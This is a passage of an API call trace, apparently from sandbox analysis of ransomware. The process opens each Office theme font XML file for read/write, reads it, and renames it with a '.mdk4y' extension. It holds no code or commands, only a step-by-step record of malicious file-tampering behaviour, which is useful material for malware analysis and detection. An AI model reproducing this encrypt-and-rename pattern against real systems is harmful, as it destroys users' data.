lpNumberOfBytesRead=0x37df4c*=0xed4, lpOverlapped=0x0) returned 1 [0178.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825406300000) returned 1 [0178.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825406400000) returned 1 [0178.834] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.mdk4y")) returned 1 [0178.834] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.834] AreFileApisANSI () returned 1 [0178.834] GetACP () returned 0x4e4 [0178.834] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Grid.xml", cchWideChar=8, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Grid.xmlxml", lpUsedDefaultChar=0x37df4c) returned 8 [0178.835] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825406500000) returned 1 [0178.835] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe59, lpOverlapped=0x0) returned 1 [0178.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825407400000) returned 1 [0178.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825407400000) returned 1 [0178.844] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.mdk4y")) returned 1 [0178.845] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.845] AreFileApisANSI () returned 1 [0178.845] GetACP () returned 0x4e4 [0178.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Hardcover.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Hardcover.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0178.846] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825407600000) returned 1 [0178.846] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf09, lpOverlapped=0x0) returned 1 [0178.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825407800000) returned 1 [0178.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825407800000) returned 1 [0178.848] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.mdk4y")) returned 1 [0178.849] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.849] AreFileApisANSI () returned 1 [0178.849] GetACP () returned 0x4e4 [0178.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Horizon.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Horizon.xmlml", lpUsedDefaultChar=0x37df4c) returned 11 [0178.849] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.849] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825407900000) returned 1 [0178.850] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe2a, lpOverlapped=0x0) returned 1 [0178.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825408100000) returned 1 [0178.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825408100000) returned 1 [0178.851] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.mdk4y")) returned 1 [0178.852] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.852] AreFileApisANSI () returned 1 [0178.852] GetACP () returned 0x4e4 [0178.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Median.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Median.xmll", lpUsedDefaultChar=0x37df4c) returned 10 [0178.852] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825408300000) returned 1 [0178.853] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xeed, lpOverlapped=0x0) returned 1 [0178.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825408900000) returned 1 [0178.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825408900000) returned 1 [0178.859] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.mdk4y")) returned 1 [0178.860] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.860] AreFileApisANSI () returned 1 [0178.860] GetACP () returned 0x4e4 [0178.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Metro.xml", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Metro.xmll", lpUsedDefaultChar=0x37df4c) returned 9 [0178.860] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825409000000) returned 1 [0178.860] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe13, lpOverlapped=0x0) returned 1 [0178.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825409200000) returned 1 [0178.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825409300000) returned 1 [0178.863] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.mdk4y")) returned 1 [0178.863] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.864] AreFileApisANSI () returned 1 [0178.864] GetACP () returned 0x4e4 [0178.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Module.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0178.864] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825409500000) returned 1 [0178.865] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe05, lpOverlapped=0x0) returned 1 [0178.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825409700000) returned 1 [0178.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825409700000) returned 1 [0178.868] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.mdk4y")) returned 1 [0178.868] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.868] AreFileApisANSI () returned 1 [0178.868] GetACP () returned 0x4e4 [0178.868] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Newsprint.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Newsprint.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0178.868] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825409900000) returned 1 [0178.869] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe39, lpOverlapped=0x0) returned 1 [0178.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825410000000) returned 1 [0178.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825410000000) returned 1 [0178.870] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.mdk4y")) returned 1 [0178.871] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.871] AreFileApisANSI () returned 1 [0178.871] GetACP () returned 0x4e4 [0178.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office 2.xml", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Office 2.xmll", lpUsedDefaultChar=0x37df4c) returned 12 [0178.871] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825410100000) returned 1 [0178.871] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe15, lpOverlapped=0x0) returned 1 [0178.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825412300000) returned 1 [0178.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825412300000) returned 1 [0178.894] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml.mdk4y")) returned 1 [0178.895] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.895] AreFileApisANSI () returned 1 [0178.895] GetACP () returned 0x4e4 [0178.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office Classic 2.xml", cchWideChar=20, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Office Classic 2.xmlpd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37df4c) returned 20 [0178.895] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825412600000) returned 1 [0178.896] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe01, lpOverlapped=0x0) returned 1 [0178.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825413800000) returned 1 [0178.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825413800000) returned 1 [0178.908] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.mdk4y")) returned 1 [0178.910] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.910] AreFileApisANSI () returned 1 [0178.910] GetACP () returned 0x4e4 [0178.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office Classic.xml", cchWideChar=18, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Office Classic.xmlml", lpUsedDefaultChar=0x37df4c) returned 18 [0178.910] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825414000000) returned 1 [0178.910] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe20, lpOverlapped=0x0) returned 1 [0178.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825414800000) returned 1 [0178.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825414800000) returned 1 [0178.918] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.mdk4y")) returned 1 [0178.919] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.920] AreFileApisANSI () returned 1 [0178.920] GetACP () returned 0x4e4 [0178.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Opulent.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Opulent.xmlsic.xml", lpUsedDefaultChar=0x37df4c) returned 11 [0178.920] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825415100000) returned 1 [0178.921] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe1d, lpOverlapped=0x0) returned 1 [0178.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825415200000) returned 1 [0178.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825415200000) returned 1 [0178.923] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.mdk4y")) returned 1 [0178.924] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.924] AreFileApisANSI () returned 1 [0178.924] GetACP () returned 0x4e4 [0178.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oriel.xml", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Oriel.xmlml", lpUsedDefaultChar=0x37df4c) returned 9 [0178.924] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825416600000) returned 1 [0178.936] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe5a, lpOverlapped=0x0) returned 1 [0178.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825416800000) returned 1 [0178.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825416800000) returned 1 [0178.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.mdk4y")) returned 1 [0178.939] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.939] AreFileApisANSI () returned 1 [0178.940] GetACP () returned 0x4e4 [0178.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Origin.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Origin.xmll", lpUsedDefaultChar=0x37df4c) returned 10 [0178.940] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825417000000) returned 1 [0178.940] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xeed, lpOverlapped=0x0) returned 1 [0178.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825418600000) returned 1 [0178.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825418600000) returned 1 [0178.956] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.mdk4y")) returned 1 [0178.957] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.957] AreFileApisANSI () returned 1 [0178.957] GetACP () returned 0x4e4 [0178.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Paper.xml", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Paper.xmll", lpUsedDefaultChar=0x37df4c) returned 9 [0178.957] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825418800000) returned 1 [0178.958] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: 